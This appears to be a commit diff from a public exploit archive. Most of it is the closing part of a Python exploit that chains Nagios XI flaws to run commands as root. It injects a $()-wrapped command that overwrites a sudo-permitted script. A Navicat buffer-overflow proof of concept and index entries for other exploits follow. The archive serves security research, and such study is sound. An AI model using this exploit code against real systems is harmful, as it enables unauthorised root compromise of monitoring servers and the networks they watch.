'nsp':login_nsp,
|
||||
'page':'auth',
|
||||
'debug':'',
|
||||
'pageopt':'login',
|
||||
'username':sploit_username,
|
||||
'password':sploit_password,
|
||||
'loginButton':'',
|
||||
})
|
||||
|
||||
con4p2 = httplib.HTTPConnection(RHOST, 80)
|
||||
con4p2.set_debuglevel(0)
|
||||
con4p2.request("POST", url4p2, params4p2, headers=headers4p2)
|
||||
r4p2 = con4p2.getresponse()
|
||||
r4p2_resp = r4p2.read()
|
||||
authed_nagiosxi = parse_nagiosxi(r4p2.msg)
|
||||
con4p2.close()
|
||||
|
||||
print "[+] STEP 4.2: authed_nagiosxi = {0}".format(authed_nagiosxi)
|
||||
|
||||
# 4.3 ---------------------------------------------------------------
|
||||
|
||||
print "[+] STEP 4.3: Getting an authed nsp token..."
|
||||
|
||||
url4p3 = '/nagiosxi/index.php'
|
||||
headers4p3 = {'Host' : RHOST,
|
||||
'Content-Type' : 'application/x-www-form-urlencoded',
|
||||
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}
|
||||
params4p3 = ""
|
||||
|
||||
con4p3 = httplib.HTTPConnection(RHOST, 80)
|
||||
con4p3.set_debuglevel(0)
|
||||
con4p3.request("POST", url4p3, params4p3, headers=headers4p3)
|
||||
r4p3 = con4p3.getresponse()
|
||||
r4p3_resp = r4p3.read()
|
||||
authed_nsp = parse_nsp_str(r4p3_resp)
|
||||
con4p3.close()
|
||||
|
||||
print "[+] STEP 4.3: authed_nsp = {0}".format(authed_nsp)
|
||||
|
||||
################################################################
|
||||
# REQUEST FIVE: Excute command
|
||||
################################################################
|
||||
|
||||
print "[+] STEP 5: Executing command as root!..."
|
||||
url5 = '/nagiosxi/backend/index.php?'
|
||||
headers5 = {'Host' : RHOST,
|
||||
'Content-Type' : 'application/x-www-form-urlencoded',
|
||||
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}
|
||||
|
||||
privesc_cmd = 'cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak && echo "{0}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh'.format(cmd)
|
||||
privesc_cmd = "$(" + privesc_cmd + ")"
|
||||
|
||||
url5 = url5 + urllib.urlencode({
|
||||
'cmd':'submitcommand',
|
||||
'command':'1111',
|
||||
'command_data':privesc_cmd
|
||||
})
|
||||
|
||||
con5 = httplib.HTTPConnection(RHOST, 80)
|
||||
con5.set_debuglevel(0)
|
||||
con5.request("POST", url5, headers=headers5)
|
||||
r5 = con5.getresponse()
|
||||
|
||||
r5_resp = r5.read()
|
||||
con5.close()
|
||||
|
||||
if r5.status == 200:
|
||||
print "[+] STEP 5: Received a 200 Response. That's good!"
|
||||
else:
|
||||
print "[!] STEP 5: Received a {0} Response. That's bad.".format(str(r5.status))
|
||||
exit()
|
||||
|
||||
print "[+] STEP 5: Successfully ran command. We're done?"
|
||||
|
||||
|
||||
################################################################
|
||||
# REQUEST SIX: Cleanup
|
||||
################################################################
|
||||
|
||||
print "[+] STEP 6: Cleanup time"
|
||||
|
||||
r1 = change_db_user('nagiosql', 'n@gweb', '6')
|
||||
|
||||
if r1.status == 302:
|
||||
print "[+] STEP 6: Received a 302 Response. That's good!"
|
||||
else:
|
||||
print "[!] STEP 6: Received a {0} Response. That's bad.".format(str(r1.status))
|
||||
exit()
|
||||
|
||||
################################################################
|
||||
# Solution: Update to a version of NagiosXI >= 5.4.13
|
||||
################################################################
|
24
exploits/windows/dos/44558.py
Executable file
24
exploits/windows/dos/44558.py
Executable file
|
@ -0,0 +1,24 @@
|
|||
#!/usr/bin/python
|
||||
# Title: Navicat < 12.0.27 Oracle Connection Overflow
|
||||
# Author: Kevin McGuigan
|
||||
# Twitter: @_h3xagram
|
||||
# Author Website: https://www.7elements.co.uk
|
||||
# Vendor Website: https://www.navicat.com
|
||||
# Date: 27/04/2018
|
||||
# Version: 12.0.26
|
||||
# Tested on Windows 7 32-bit
|
||||
# Vendor notified on 04/04/2018. Patch issued on 25/04/2018.
|
||||
|
||||
|
||||
# Generate file > Create new Oracle Connection > paste contents of "navicatPOC.txt" into host field and test connection to trigger overflow.
|
||||
filename="navicatPOC.txt"
|
||||
junk = "A" * 1502
|
||||
#nseh = "\x4C\x4C\x77\x04"
|
||||
#seh= "\x75\x2a\x01\x10"
|
||||
nseh = "B" * 4
|
||||
seh = "C" * 4
|
||||
fill = "D" * 4000
|
||||
buffer = junk + nseh + seh + fill
|
||||
textfile = open(filename , 'w')
|
||||
textfile.write(buffer)
|
||||
textfile.close()
|
|
@ -5954,6 +5954,9 @@ id,file,description,date,author,type,platform,port
|
|||
44533,exploits/windows/dos/44533.c,"VMware Workstation 12.5.2 - Drag n Drop Use-After-Free (Pwn2Own 2017) (PoC)",2018-04-23,keenlab,dos,windows,
|
||||
44540,exploits/multiple/dos/44540.js,"Chrome V8 JIT - 'AwaitedPromise' Update Bug",2018-04-25,"Google Security Research",dos,multiple,
|
||||
44541,exploits/multiple/dos/44541.js,"Chrome V8 JIT - Arrow Function Scope Fixing Bug",2018-04-25,"Google Security Research",dos,multiple,
|
||||
44558,exploits/windows/dos/44558.py,"Navicat < 12.0.27 - Oracle Connection Overflow",2018-04-30,"Kevin McGuigan",dos,windows,
|
||||
44561,exploits/macos/dos/44561.txt,"macOS 10.13.2 - Double mach_port_deallocate in kextd due to Failure to Comply with MIG Ownership Rules",2018-04-30,"Google Security Research",dos,macos,
|
||||
44562,exploits/multiple/dos/44562.c,"macOS/iOS - ReportCrash mach port Replacement due to Failure to Respect MIG Ownership Rules",2018-04-30,"Google Security Research",dos,multiple,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
@ -16444,6 +16447,7 @@ id,file,description,date,author,type,platform,port
|
|||
44554,exploits/android/remote/44554.py,"Android Bluetooth - 'Blueborne' Information Leak (1)",2017-08-09,"Kert Ojasoo",remote,android,
|
||||
44555,exploits/android/remote/44555.py,"Android Bluetooth - 'Blueborne' Information Leak (2)",2017-09-20,"Kert Ojasoo",remote,android,
|
||||
44556,exploits/multiple/remote/44556.py,"Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution",2017-09-08,brianwrf,remote,multiple,
|
||||
44557,exploits/php/remote/44557.rb,"Drupal < 7.58 - 'Drupalgeddon3' Authenticated Remote Code (Metasploit)",2018-04-30,SixP4ck3r,remote,php,
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
@ -39242,3 +39246,5 @@ id,file,description,date,author,type,platform,port
|
|||
44548,exploits/php/webapps/44548.py,"GitList 0.6 - Unauthenticated Remote Code Execution",2018-04-26,"Kacper Szurek",webapps,php,
|
||||
44550,exploits/hardware/webapps/44550.txt,"TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Unauthenticated Remote Reboot",2018-04-26,Wadeek,webapps,hardware,
|
||||
44551,exploits/php/webapps/44551.txt,"Frog CMS 0.9.5 - Persistent Cross-Site Scripting",2018-04-26,"Wenming Jiang",webapps,php,80
|
||||
44559,exploits/php/webapps/44559.txt,"WordPress Plugin Form Maker 1.12.20 - CSV Injection",2018-04-30,"Sairam Jetty",webapps,php,
|
||||
44560,exploits/php/webapps/44560.py,"Nagios XI 5.2.[6-9]_ 5.3_ 5.4 - Chained Remote Root",2018-04-30,"Jared Arave",webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue